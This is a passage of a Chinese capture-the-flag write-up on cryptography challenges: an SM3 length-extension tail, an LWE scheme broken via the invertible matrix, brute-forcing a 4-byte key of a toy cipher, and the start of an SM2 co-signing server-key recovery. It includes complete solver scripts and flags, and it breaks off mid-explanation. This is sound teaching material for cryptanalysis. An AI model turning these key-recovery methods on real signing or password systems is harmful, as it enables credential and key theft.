New_Counter = hex(int((bin(int(counter,16))[2:].zfill(32) + "1") + "0"*(448 - 32*8 - 1 - 4*8) + bin(36*8)[2:].zfill(64) , 2))[2:] + "ffffffff"

print(New_Counter)
print(SM3_len_ex_ak(1,IV2,"FFFFFFFF"))

#flag{3WhlSlIw4tSOhbY52j6CMrUCAYSLfrS9}


初始谜题三(300 pts)

题目:

import sympy as sp
import random

# 设置参数
n = 16 # 向量长度
q = 251 # 模数

# 生成随机噪声向量e
e = sp.Matrix(sp.randMatrix(n, 1, min=0, max=1)) # 噪声向量

# 生成随机n维私钥向量s和n*n矩阵A
s = sp.Matrix(sp.randMatrix(n, 1, min=0, max=q - 1)) # 私钥向量
Temp = sp.Matrix(sp.randMatrix(n, n, min=0, max=q - 1)) # 中间变量矩阵Temp
A = Temp.inv_mod(q) # 计算矩阵Temp在模 q 下的逆矩阵作为A

# 计算n维公钥向量b
b = (A * s + e) % q # 公钥向量b = A * s + e


# 加密函数
def encrypt(message, A, b):
m_bin = bin(message)[2:].zfill(n) # 将消息转换为16比特的二进制字符串
m = sp.Matrix([int(bit) for bit in m_bin]) # 转换为SymPy矩阵
x = sp.Matrix(sp.randMatrix(n, n, min=0, max=q // (n * 4))) # 随机产生一个n*n的矩阵x
e1 = sp.Matrix(sp.randMatrix(n, 1, min=0, max=1)) # 随机产生一个n维噪声向量e
c1 = (x * A) % q # 密文部分c1 = x * A
c2 = (x * b + e1 + m * (q // 2)) % q # 密文部分c2 = x * b + e1 + m * q/2
return c1, c2


# 解密函数
def decrypt(c1, c2, s):
m_dec = (c2 - c1 * s) % q
m_rec = m_dec.applyfunc(lambda x: round(2 * x / q) % 2) # 还原消息
m_bin = ''.join([str(bit) for bit in m_rec]) # 将SymPy矩阵转换为二进制字符串
m_rec_int = int(m_bin, 2) # 将二进制字符串转换为整数
return m_rec_int


# 测试加解密
message = random.randint(0, 2 ** n - 1) # 要加密的消息,随机生成一个16比特整数
c1, c2 = encrypt(message, A, b) # 加密

print("原始消息: ", message)
print("公钥A=sp.", A)
print("公钥b=sp.", b)
print("密文c1=sp.", c1)
print("密文c2=sp.", c2)

decrypted_message = decrypt(c1, c2, s)
print("解密后的消息: ", decrypted_message) # 输出解密

题目名字叫lwe,具体来说给了一些如下数据:

  • 随机生成16维的01向量e
  • 随机生成16维的向量s以及16x16的可逆矩阵A,并计算:
    b=As+e
  • 将m转化为比特串,并进一步变为长度为16的01向量(也就是说m本身也只有2字节)
wxopi52fbns11776.png
  • 给出A、b、c1、c2,要求还原message并发送给他

虽然说题目叫lwe,似乎也可以通过lwe的方法求出s来,但是很显眼的一点是维数仅仅为16,实在太小了,只需要琼剧2^16其中就一定有正确的e、e1了。

然而再仔细看发现有更离谱的一点,既然A、c1都给好了并且A可逆,那么x直接求就好了,然后就可以轻松得到:

ymzya3rccxi11782.png


而由于e1也是01向量,他对向量t的大小影响可以忽略不计,所以t中大于等于q/2的位置就是m中为1的位置,否则就是0。

exp:

A = Matrix(ZZ,[[139, 63, 18, 202, 166, 185, 85, 108, 58, 90, 211, 248, 240, 44, 137, 39], [5, 230, 89, 226, 139, 24, 233, 20, 12, 108, 127, 11, 52, 64, 188, 156], [80, 61, 105, 3, 165, 96, 154, 40, 62, 103, 157, 75, 190, 101, 31, 239], [193, 100, 124, 216, 248, 95, 241, 196, 67, 192, 217, 114, 171, 248, 219, 169], [116, 71, 221, 105, 167, 153, 22, 124, 178, 45, 7, 183, 125, 8, 127, 123], [182, 162, 164, 184, 27, 148, 206, 73, 217, 86, 187, 137, 82, 150, 99, 65], [106, 60, 153, 91, 213, 41, 188, 92, 121, 246, 164, 223, 199, 85, 161, 25], [93, 97, 145, 31, 48, 36, 7, 110, 56, 47, 108, 79, 233, 186, 93, 181], [195, 98, 47, 147, 49, 40, 158, 89, 218, 8, 23, 118, 170, 19, 50, 17], [127, 95, 37, 48, 230, 244, 130, 37, 75, 125, 103, 154, 148, 218, 227, 178], [162, 235, 129, 44, 204, 228, 221, 130, 239, 36, 57, 38, 41, 74, 61, 155], [246, 11, 11, 97, 218, 57, 209, 72, 229, 27, 250, 73, 19, 64, 25, 62], [60, 162, 1, 110, 191, 130, 120, 227, 214, 98, 165, 245, 28, 55, 94, 190], [129, 212, 185, 156, 119, 239, 83, 221, 4, 174, 65, 218, 32, 211, 213, 223], [80, 218, 135, 245, 238, 127, 55, 68, 113, 145, 110, 59, 50, 177, 159, 146], [68, 239, 36, 166, 206, 23, 59, 126, 67, 152, 99, 189, 133, 113, 243, 198]])
b = Matrix(ZZ,[[88], [74], [219], [244], [81], [109], [81], [216], [125], [218], [170], [56], [152], [229], [204], [45]])
c1 = Matrix(ZZ,[[173, 2, 67, 11, 40, 80, 187, 38, 16, 226, 243, 79, 117, 127, 100, 113], [208, 231, 211, 196, 2, 146, 35, 2, 221, 119, 12, 25, 208, 152, 83, 201], [154, 43, 180, 76, 235, 5, 179, 196, 206, 171, 98, 145, 92, 144, 247, 98], [121, 145, 123, 232, 87, 78, 181, 145, 79, 166, 112, 169, 208, 102, 201, 63], [204, 141, 165, 225, 213, 137, 40, 43, 229, 151, 72, 237, 58, 15, 2, 31], [35, 114, 241, 31, 122, 123, 164, 231, 197, 89, 41, 236, 128, 22, 152, 82], [141, 133, 235, 79, 43, 120, 209, 231, 58, 85, 3, 44, 73, 245, 227, 62], [28, 158, 71, 41, 152, 32, 91, 200, 163, 46, 19, 121, 23, 209, 25, 55], [156, 17, 218, 146, 231, 242, 91, 76, 217, 57, 100, 212, 243, 87, 62, 159], [100, 111, 107, 62, 106, 72, 51, 79, 223, 93, 86, 145, 192, 21, 218, 243], [196, 250, 248, 166, 155, 39, 7, 93, 103, 54, 168, 188, 190, 104, 183, 64], [16, 131, 148, 193, 19, 149, 179, 212, 109, 170, 201, 168, 165, 167, 68, 25], [30, 222, 171, 32, 141, 105, 232, 104, 198, 53, 50, 157, 206, 165, 200, 42], [90, 149, 148, 112, 142, 228, 231, 119, 235, 248, 233, 9, 242, 102, 241, 93], [150, 32, 78, 183, 68, 249, 80, 165, 95, 229, 211, 0, 75, 14, 172, 139], [175, 69, 15, 100, 113, 63, 123, 71, 24, 250, 135, 232, 53, 32, 81, 117]])
c2 = Matrix(ZZ,[[18], [67], [187], [237], [99], [127], [128], [23], [83], [66], [64], [69], [7], [214], [43], [156]])

p = 251
A = Matrix(Zmod(p), A)
c1 = Matrix(Zmod(p), c1)
b = vector(b.T)
c2 = vector(c2.T)
x = c1*A^(-1)
t = c2 - x*b
m = ""
for i in t:
if(i >= p // 2):
m += "1"
else:
m += "0"
print(hex(int(m,2)))


#21c4


第二部分:大型密码系统

这一部分共有4个题目和一个最终挑战,题目之间是有顺序关系的,也就是要先做出某些题目,才能得到后续题目的附件、数据、登录密码之类的相关信息,具体来说这次挑战的先后顺序是:

  • flag1和flag3可以同时挑战
  • 做出flag1可以开启flag2
  • 做出flag3可以开启flag4
  • 全部完成后可以开启最终挑战


flag1(600 pts)

题目:

passwordEncryptorV2.c:

#include <stdio.h>
#include <string.h>
#include <openssl/sha.h>

#define ROUND 16

//S-Box 16x16
int sBox[16] =
{
2, 10, 4, 12,
1, 3, 9, 14,
7, 11, 8, 6,
5, 0, 15, 13
};


// 将十六进制字符串转换为 unsigned char 数组
void hex_to_bytes(const char* hex_str, unsigned char* bytes, size_t bytes_len) {
size_t hex_len = strlen(hex_str);
if (hex_len % 2 != 0 || hex_len / 2 > bytes_len) {
fprintf(stderr, "Invalid hex string length.\n");
return;
}

for (size_t i = 0; i < hex_len / 2; i++) {
sscanf(hex_str + 2 * i, "%2hhx", &bytes[i]);
}
}


// 派生轮密钥
void derive_round_key(unsigned int key, unsigned char *round_key, int length) {

unsigned int tmp = key;
for(int i = 0; i < length / 16; i++)
{
memcpy(round_key + i * 16, &tmp, 4); tmp++;
memcpy(round_key + i * 16 + 4, &tmp, 4); tmp++;
memcpy(round_key + i * 16 + 8, &tmp, 4); tmp++;
memcpy(round_key + i * 16 + 12, &tmp, 4); tmp++;
}
}


// 比特逆序
void reverseBits(unsigned char* state) {
unsigned char temp[16];
for (int i = 0; i < 16; i++) {
unsigned char byte = 0;
for (int j = 0; j < 8; j++) {
byte |= ((state[i] >> j) & 1) << (7 - j);
}
temp[15 - i] = byte;
}
for (int i = 0; i < 16; i++) {
state[i] = temp[i];
}
}


void sBoxTransform(unsigned char* state) {
for (int i = 0; i < 16; i++) {
int lo = sBox[state[i] & 0xF];
int hi = sBox[state[i] >> 4];
state[i] = (hi << 4) | lo;
}
}


void leftShiftBytes(unsigned char* state) {
unsigned char temp[16];
for (int i = 0; i < 16; i += 4) {
temp[i + 0] = state[i + 2] >> 5 | (state[i + 1] << 3);
temp[i + 1] = state[i + 3] >> 5 | (state[i + 2] << 3);
temp[i + 2] = state[i + 0] >> 5 | (state[i + 3] << 3);
temp[i + 3] = state[i + 1] >> 5 | (state[i + 0] << 3);
}
for (int i = 0; i < 16; i++)
{
state[i] = temp[i];
}
}


// 轮密钥加
void addRoundKey(unsigned char* state, unsigned char* roundKey, unsigned int round) {
for (int i = 0; i < 16; i++) {
for (int j = 0; j < 8; j++) {
state[i] ^= ((roundKey[i + round * 16] >> j) & 1) << j;
}
}
}

// 加密函数
void encrypt(unsigned char* password, unsigned int key, unsigned char* ciphertext) {
unsigned char roundKeys[16 * ROUND] = {}; //

// 生成轮密钥
derive_round_key(key, roundKeys, 16 * ROUND);

// 初始状态为16字节的口令
unsigned char state[16]; // 初始状态为16字节的密码
memcpy(state, password, 16); // 初始状态为密码的初始值

// 迭代加密过程
for (int round = 0; round < ROUND; round++)
{
reverseBits(state);
sBoxTransform(state);
leftShiftBytes(state);
addRoundKey(state, roundKeys, round);
}

memcpy(ciphertext, state, 16);
}

void main() {
unsigned char password[] = "pwd:xxxxxxxxxxxx"; // 口令明文固定以pwd:开头,16字节的口令
unsigned int key = 0xF0FFFFFF; // 4字节的密钥
unsigned char ciphertext[16]; // 16字节的状态

printf("Password: \n");
printf("%s\n", password);

encrypt(password, key, ciphertext);

// 输出加密后的结果
printf("Encrypted password:\n");
for (int i = 0; i < 16; i++) {
printf("%02X", ciphertext[i]);
}
printf("\n");
}


题目基于一个对称加密,给出了其具体实现步骤。连接靶机之后会给出密文,要求求出password,来解压带密码的协同签名源码文件压缩包,压缩包内含有本题的flag值以及flag2的源码。

可以看出在有key的情况下,解密就是把整个加密过程逆一下,这一部分交给学长很快就写好了。

然而学长发现对于靶机给出的密文,用题目给定的0xF0FFFFFF当作key是解不出他要求的”pwd:”开头的password的,所以我猜测这个key只是个示例,实际上要用这个已知的开头来爆破4字节的key。4字节对于c来说似乎也不算很大,因此简单修改下解密部分就开爆了。但是,实际效果并不是很理想,如果要爆破完所有解空间的话,差不多需要2^16秒,这对于仅仅6h的比赛来说太长了,所以要考虑一些优化。而比起仔细查看代码来说,最简单的优化当然是直接用多进程来做。

可是我只用过python的多进程,并且考虑到python本身的速度,为了用个多进程把整个求解代码转成python实在是不太划算。可是比赛不出网,要查询资料不仅需要申请,时间也只限10min,还会对整个队伍的成绩产生影响,更不划算。所以想来想去也只能三个人都多开点窗口,然后从不同的位置开爆。

也算是一种多进程了。

然而这样做有意想不到的效果——我让学弟倒着爆破的那个窗口过了一段时间真的跑出了结果,这个题也就顺利解掉了。

实际上最后一轮提示中有提到,因为某些原因,key首字节一定是F,所以倒着爆才更加快;此外还有一些其他地方可以减少耗时。

这里就不仔细研究产生这些优化的原因了,多进程肯定是最有力的XD,做出来就行。

exp:(header.h就是题目加密源码里的函数)

#include "header.h"

void print(unsigned char* m) {
for (int i = 0; i < 16; i++) {
printf("%02X", m[i]);
}
printf("\n");
}

int sBox_inv[16] =
{
13, 4, 0, 5, 2, 12, 11, 8, 10, 6, 1, 9, 3, 15, 7, 14
};

void rightShiftBytes(unsigned char* state) {
unsigned char temp[16];
for (int i = 0; i < 16; i += 4) {
temp[i + 0] = state[i + 2] << 5 | (state[i + 3] >> 3);
temp[i + 1] = state[i + 3] << 5 | (state[i + 0] >> 3);
temp[i + 2] = state[i + 0] << 5 | (state[i + 1] >> 3);
temp[i + 3] = state[i + 1] << 5 | (state[i + 2] >> 3);
}
for (int i = 0; i < 16; i++) {
state[i] = temp[i];
}
}

void decrypt(unsigned char* password, unsigned int key, unsigned char* ciphertext) {
unsigned char roundKeys[16 * ROUND] = {};
derive_round_key(key, roundKeys, 16 * ROUND);
unsigned char state[16];
memcpy(state, ciphertext, 16);
for (int round = ROUND - 1; round >= 0; round--) {
addRoundKey(state, roundKeys, round);
rightShiftBytes(state);
sBoxTransform(state, sBox_inv);
reverseBits(state);
}
memcpy(password, state, 16);
}

int main() {
// cipher = "B17164A27E035012107D6F7B0454D51D"
// cipher = "99F2980AAB4BE8640D8F322147CBA409"

unsigned char password[] = "pwd:xxxxxxxxxxxx"; // 口令明文固定以pwd:开头,16字节的口令
unsigned char ciphertext[16]; // 16字节的状态
hex_to_bytes("99F2980AAB4BE8640D8F322147CBA409", ciphertext, 16);



for (unsigned int key = 0; key < 0xFFFFFFFF; key++) {
if ((key & 0xFFFF) == 0) printf("%d\n", key);
decrypt(password, key, ciphertext);
if (password[0] == 112 && password[1] == 119 && password[2] == 100 && password[3] == 58) {
print(password);
}
}

return 0;
}


flag2(900 pts)

题目:

co-signing_client.js:

const form = ref({
password: "",
msgdigest: "",
})

const k1: any = ref("");

const submit = () => {
isform.value.validate((valid: boolean) => {
if (valid) {

loading.value = true;
let smPassword = ref("");
smPassword.value = sm3(form.value.password);
// 客户端通过用户口令、消息摘要和用户私钥d1,计算客户端协同签名值 p1x, p1y, q1x, q1y, r1, s1
var { str_e, str_p1x, str_p1y, str_q1x, str_q1y, str_r1, str_s1, errMessage } = clientSign1(smPassword.value, form.value.msgdigest);
if (errMessage) {
ElMessage.error(errMessage)
loading.value = false;
return
}
let data = {
q1x: str_q1x,
q1y: str_q1y,
e: str_e,
r1: str_r1,
s1: str_s1,
p1x: str_p1x,
p1y: str_p1y
}
// 客户端将 e, p1x, p1y, q1x, q1y, r1, s1发送给服务端
// 服务端用服务端私钥d2计算服务端协同签名值 s2, s3, r 发送给客户端
sign_param_send(data).then((res: any) => {
// 客户端通过s2, s3, r,计算协同签名值 s
let str_s: any = clientSign2(smPassword.value, res.s2, res.s3, res.r);
if (str_s.errMessage) {
ElMessage.error(errMessage)
loading.value = false;
return
}
ElMessage.success("协同签名成功");
signature_send({ client_sign: str_s }).then((res: any) => {
qmz.value = str_s;
loading.value = false;
}).then((err: any) => {
loading.value = false;
})
}).catch((err: any) => {
loading.value = false;
})
}
})
}
const clientSign1: any = (str_d1: any, str_e: any) => {
let d1 = new BN(str_d1, 16);
// console.log("e",str_e)

let e = new BN(str_e, 16);
// console.log("e",e)
const sm2: any = new elliptic.curve.short({
p: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF',
a: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC',
b: '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93',
n: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123',
g: [
'32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7',
'BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0'
]
} as any);

let n = new BN(sm2.n.toString(16), 16);
let G = sm2.g;

// generate random k1
const randomBytes = cryptoRandomStringAsync({ length: 64 });
k1.value = new BN(randomBytes as any, 16);
while(k1.value.mod(n).isZero()){
const randomBytes = cryptoRandomStringAsync({ length: 64 });
k1.value = new BN(randomBytes as any, 16);
}
k1.value = k1.value.mod(n);

// d1 = d1 mod n
d1 = d1.mod(n);
if (d1.isZero()) {
let errMessage = "d1=0,签名失败"
return { errMessage }
}

//P1 = ((d1)^(-1)) * G
let tmp1 = d1.invm(n);
let P1 = G.mul(tmp1);

//Q1 = k1*G = (x, y)
let Q1 = G.mul(k1.value);
let x = new BN(Q1.getX().toString(16), 16);

//r1 = x mod n
let r1 = x.mod(n);
if (r1.isZero()) {
let errMessage = "r1=0,签名失败"
return { errMessage }
}

//s1 = k1^(-1) * (e + d1^(-1) * r1) mod n
tmp1 = d1.invm(n);
let tmp2 = tmp1.mul(r1).mod(n);
let tmp3 = tmp2.add(e).mod(n);
tmp1 = k1.value.invm(n);
let s1 = tmp1.mul(tmp3).mod(n);
if (s1.isZero()) {
let errMessage = "s1=0,签名失败"
return { errMessage }
}

str_e = e.toString(16);
// console.log("str_e",str_e)
let str_p1x = P1.getX().toString(16);
let str_p1y = P1.getY().toString(16);
let str_q1x = Q1.getX().toString(16);
let str_q1y = Q1.getY().toString(16);
let str_r1 = r1.toString(16);
let str_s1 = s1.toString(16);
return { str_e, str_p1x, str_p1y, str_q1x, str_q1y, str_r1, str_s1 }
}
const clientSign2 = (str_d1: any, str_s2: any, str_s3: any, str_r: any) => {
const sm2 = new elliptic.curve.short({
p: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF',
a: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC',
b: '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93',
n: 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123',
g: [
'32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7',
'BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0'
]
} as any);

let d1 = new BN(str_d1, 16);
let n = new BN(sm2.n.toString(16), 16);
let s2 = new BN(str_s2, 16);
let s3 = new BN(str_s3, 16);
let r = new BN(str_r, 16);
//s = d1*k1*s2 + d1*s3 -r mod n
let tmp1 = d1.mul(k1.value).mod(n);
let tmp2 = tmp1.mul(s2).mod(n);
let tmp3 = d1.mul(s3).mod(n);
tmp1 = tmp2.add(tmp3).mod(n);
let s = tmp1.sub(r).mod(n);
if (s.isZero()) {
let errMessage = "s=0,签名失败"
return { errMessage }
}
if (s.add(r).mod(n).isZero()) {
let errMessage = "s=n-r,签名失败"
return { errMessage }
}
let str_s = s.toString(16);
if (str_s[0] == '-') {
s = s.add(n).mod(n);
str_s = s.toString(16);
}
return str_s;
}

co-signing_client.c:

#include <stdio.h>
#include <stdlib.h>
#include <openssl/ec.h>
#include <openssl/rand.h>

#define SM2LEN 32

int error() {
printf("Error.\n");
return 0;
}

int error_partial_verify() {
printf("Error partial verify.\n");
return 0;
}

void print_flag2(const BIGNUM *d2) {
char *hex_str = BN_bn2hex(d2);
for (int i = 0; hex_str[i] != '\0'; i++) {
if (hex_str[i] >= 'A' && hex_str[i] <= 'F') {
hex_str[i] += 32;
}
}
printf("flag2{%s}\n", hex_str);
}

typedef struct {
char s2[SM2LEN * 2 + 1];
char s3[SM2LEN * 2 + 1];
char r[SM2LEN * 2 + 1];
int success;
} Result;

// 协同签名服务端签名算法
Result server(char* str_e,char* str_p1x,char* str_p1y,char* str_q1x,char* str_q1y,char* str_r1,char* str_s1){
Result res = {"", "", "", 0};

int rv = 1;
BIGNUM *e,*a,*b,*p,*n,*x,*y;
BIGNUM *d2,*r1,*s1,*p1x,*p1y,*q1x,*q1y;
BIGNUM *u1,*u2,*xprime,*yprime,*k2,*k3,*x1,*y1,*r,*s2,*s3,*s,*tmp1,*tmp2,*tmp3;
EC_GROUP* group;
EC_POINT *generator,*G,*P,*P1,*Q1,*TMP;

BN_CTX* bn_ctx = BN_CTX_new();
BN_CTX_start(bn_ctx);
if (!bn_ctx)
{ error(); return res; }
e = BN_CTX_get(bn_ctx);
a = BN_CTX_get(bn_ctx);
b = BN_CTX_get(bn_ctx);
p = BN_CTX_get(bn_ctx);
n = BN_CTX_get(bn_ctx);
d2 = BN_CTX_get(bn_ctx);
x = BN_CTX_get(bn_ctx);
y = BN_CTX_get(bn_ctx);
p1x = BN_CTX_get(bn_ctx);
p1y = BN_CTX_get(bn_ctx);
q1x = BN_CTX_get(bn_ctx);
q1y = BN_CTX_get(bn_ctx);
r1 = BN_CTX_get(bn_ctx);
s1 = BN_CTX_get(bn_ctx);
u1 = BN_CTX_get(bn_ctx);
u2 = BN_CTX_get(bn_ctx);
xprime = BN_CTX_get(bn_ctx);
yprime = BN_CTX_get(bn_ctx);
k2 = BN_CTX_get(bn_ctx);
k3 = BN_CTX_get(bn_ctx);
x1 = BN_CTX_get(bn_ctx);
y1 = BN_CTX_get(bn_ctx);
r = BN_CTX_get(bn_ctx);
s2 = BN_CTX_get(bn_ctx);
s3 = BN_CTX_get(bn_ctx);
s = BN_CTX_get(bn_ctx);
tmp1 = BN_CTX_get(bn_ctx);
tmp2 = BN_CTX_get(bn_ctx);
tmp3 = BN_CTX_get(bn_ctx);

if (
!BN_hex2bn(&e, str_e) ||
!BN_hex2bn(&p1x, str_p1x) ||
!BN_hex2bn(&p1y, str_p1y) ||
!BN_hex2bn(&q1x, str_q1x) ||
!BN_hex2bn(&q1y, str_q1y) ||
!BN_hex2bn(&r1, str_r1) ||
!BN_hex2bn(&s1, str_s1) ||
!BN_hex2bn(&a, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC") ||
!BN_hex2bn(&b, "28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93") ||
!BN_hex2bn(&p, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF") ||
!BN_hex2bn(&n, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123") ||
// d2 = ds (server key)
!BN_hex2bn(&d2, "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX") ||
!BN_hex2bn(&x, "32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7") ||
!BN_hex2bn(&y, "BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0") ||
!BN_rand_range(k2,n) ||
!BN_copy(k3, k2)
)
{ error(); return res; }

// generate k2 in [1, n-1]
while(BN_is_zero(k2)){
if (
!BN_rand_range(k2,n) ||
!BN_copy(k3, k2)
)
{ error(); return res; }
}

group = EC_GROUP_new_curve_GFp(p, a, b, bn_ctx);
generator = EC_POINT_new(group);
if (!generator)
{ error(); return res; }
if (1 != EC_POINT_set_affine_coordinates_GFp(group, generator, x, y, bn_ctx))
{ error(); return res; }
if (1 != EC_GROUP_set_generator(group, generator, n, NULL))
{ error(); return res; }

G = EC_POINT_new(group);
P = EC_POINT_new(group);
P1 = EC_POINT_new(group);
Q1 = EC_POINT_new(group);
TMP = EC_POINT_new(group);

// if r1=0 or s1=0, error
if (BN_is_zero(r1) || BN_is_zero(s1))
{ error(); return res; }

// set P1 = (p1x, p1y)
if (1 != EC_POINT_set_affine_coordinates_GFp(group, P1, p1x, p1y, bn_ctx))
{ error(); return res; }

// set Q1 = (q1x, q1y)
if (1 != EC_POINT_set_affine_coordinates_GFp(group, Q1, q1x, q1y, bn_ctx))
{ error(); return res; }

//u1 = e * (s1^(-1)) mod n, u2 = r1 * (s1^(-1)) mod n
if (!BN_mod_inverse(tmp1, s1, n, bn_ctx) ||
!BN_mod_mul(u1, e, tmp1, n, bn_ctx) ||
!BN_mod_mul(u2, r1, tmp1, n, bn_ctx) ||
!BN_mod(u1, u1, n, bn_ctx) ||
!BN_mod(u2, u2, n, bn_ctx)
)
{ error(); return res; }

//u1*G + u2*P1 = (x', y')
if (!EC_POINT_mul(group, TMP, u1, P1, u2, bn_ctx))
{ error(); return res; }

if (!EC_POINT_get_affine_coordinates_GFp(group, TMP, xprime, yprime, bn_ctx))
{ error(); return res; }

//verify r1 = x' mod n
if (!BN_mod(xprime, xprime, n, bn_ctx))
{ error(); return res; }

if(BN_cmp(r1,xprime))
{ error_partial_verify(); return res; }

//k2*G + k3*Q1 = (x1, y1)
if (!EC_POINT_mul(group, TMP, k2, Q1, k3, bn_ctx))
{ error(); return res; }

if (!EC_POINT_get_affine_coordinates_GFp(group, TMP, x1, y1, bn_ctx))
{ error(); return res; }

//r=(e+x1) mod n
if (!BN_mod_add(r, e, x1, n, bn_ctx))
{ error(); return res; }

if (BN_is_zero(r))
{ error(); return res; }
strncpy(res.r, BN_bn2hex(r), 2*SM2LEN+1);

//s2 = d2 * k3 mod n, s3 = d2 * (r+k2) mod n
if (!BN_mod_mul(s2, d2, k3, n, bn_ctx) ||
!BN_mod_add(tmp1, r, k2, n, bn_ctx) ||
!BN_mod_mul(s3, d2, tmp1, n, bn_ctx) ||
!BN_mod(s2, s2, n, bn_ctx) ||
!BN_mod(s3, s3, n, bn_ctx)
)
{ error(); return res; }
printf("s2: %s\n",BN_bn2hex(s2));
printf("s3: %s\n",BN_bn2hex(s3));
strncpy(res.s2, BN_bn2hex(s2), 2*SM2LEN+1);
strncpy(res.s3, BN_bn2hex(s3), 2*SM2LEN+1);

// flag2 的格式如下:flag2{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx},大括号中的内容为 16 进制格式(字母小写)的 d2。
print_flag2(d2);

rv = 0;
BN_CTX_free(bn_ctx);

return rv;
}

// 计算公钥P
int getPublicKey(char *str_d2, char *str_p1x, char *str_p1y) {
int rv = 1;
BIGNUM *negone, *a, *b, *p, *n, *x, *y;
BIGNUM *d2, *p1x, *p1y, *px, *py;
BIGNUM *tmp1, *tmp2;
EC_GROUP *group;
EC_POINT *generator, *G, *P, *P1;

BN_CTX *bn_ctx = BN_CTX_new();
BN_CTX_start(bn_ctx);
if (!bn_ctx) {
error();
return 1;
}

negone = BN_CTX_get(bn_ctx);
a = BN_CTX_get(bn_ctx);
b = BN_CTX_get(bn_ctx);
p = BN_CTX_get(bn_ctx);
n = BN_CTX_get(bn_ctx);
d2 = BN_CTX_get(bn_ctx);
x = BN_CTX_get(bn_ctx);
y = BN_CTX_get(bn_ctx);
p1x = BN_CTX_get(bn_ctx);
p1y = BN_CTX_get(bn_ctx);
px = BN_CTX_get(bn_ctx);
py = BN_CTX_get(bn_ctx);
tmp1 = BN_CTX_get(bn_ctx);
tmp2 = BN_CTX_get(bn_ctx);

if (
!BN_hex2bn(&d2, str_d2) ||
!BN_hex2bn(&p1x, str_p1x) ||
!BN_hex2bn(&p1y, str_p1y) ||
!BN_hex2bn(&a, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC") ||
!BN_hex2bn(&b, "28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93") ||
!BN_hex2bn(&p, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF") ||
!BN_hex2bn(&n, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123") ||
!BN_hex2bn(&x, "32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7") ||
!BN_hex2bn(&y, "BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0")
) {
error();
return 1;
}
group = EC_GROUP_new_curve_GFp(p, a, b, bn_ctx);
generator = EC_POINT_new(group);
if (!generator) {
error();
return 1;
}
if (1 != EC_POINT_set_affine_coordinates_GFp(group, generator, x, y, bn_ctx)) {
error();
return 1;
}
if (1 != EC_GROUP_set_generator(group, generator, n, NULL)) {
error();
return 1;
}

G = EC_POINT_new(group);
P = EC_POINT_new(group);
P1 = EC_POINT_new(group);

// set P1 = (p1x, p1y)
if (1 != EC_POINT_set_affine_coordinates_GFp(group, P1, p1x, p1y, bn_ctx)) {
error();
return 1;
}

//P = ((d2)^(-1)) * P1 - G
if (!BN_zero(tmp1) ||
!BN_one(tmp2) ||
!BN_mod_sub(negone, tmp1, tmp2, n, bn_ctx)
) {
error();
return 1;
}
if (!BN_mod_inverse(tmp1, d2, n, bn_ctx) || !EC_POINT_mul(group, P, negone, P1, tmp1, bn_ctx)) {
error();
return 1;
}

if (!EC_POINT_get_affine_coordinates_GFp(group, P, px, py, bn_ctx)) {
error();
return 1;
}
printf("Px: %s\n", BN_bn2hex(px));
printf("Py: %s\n", BN_bn2hex(py));

rv = 0;
BN_CTX_free(bn_ctx);

return rv;
}

int main(int argc, char *argv[]) {
int rv = 1;
if (server(argv[1], argv[2], argv[3], argv[4], argv[5], argv[6], argv[7])) {
error();
return rv;
}

rv = 0;
return rv;
}

这个题目代码特别特别的长,具体细节可以慢慢读。

.js文件是交互部分,梳理一下主要交互流程是:

用户输入口令和消息摘要,并发送给服务器用户本地计算出如下数据,这些数据可以在发送包的负载里找到:
e, p1x, p1y, q1x, q1y, r1, s1

服务器接收到数据后,进行协同签名,并发送以下数据返回:   
   s2, s3, r
我们需要计算出服务器的私钥d2,d2就是flag2的值

而.c文件则是告诉我们协同签名流程,这些数据主要有以下一些关系(运算均在模n下,n是曲线阶):

使用SM2的标准曲线,参数及生成元G均已知,服务器私钥为d2,并有以下P点坐标:lmiptm1jupf11789.png
使用用户发送来的p1x, p1y, q1x, q1y这几个数据设置点P1、Q1使用用户发送来的e、r1、s1计算u1、u2:v5dhwxttgaf11800.png计算中间点T(x’,y’),验证r1=x’:
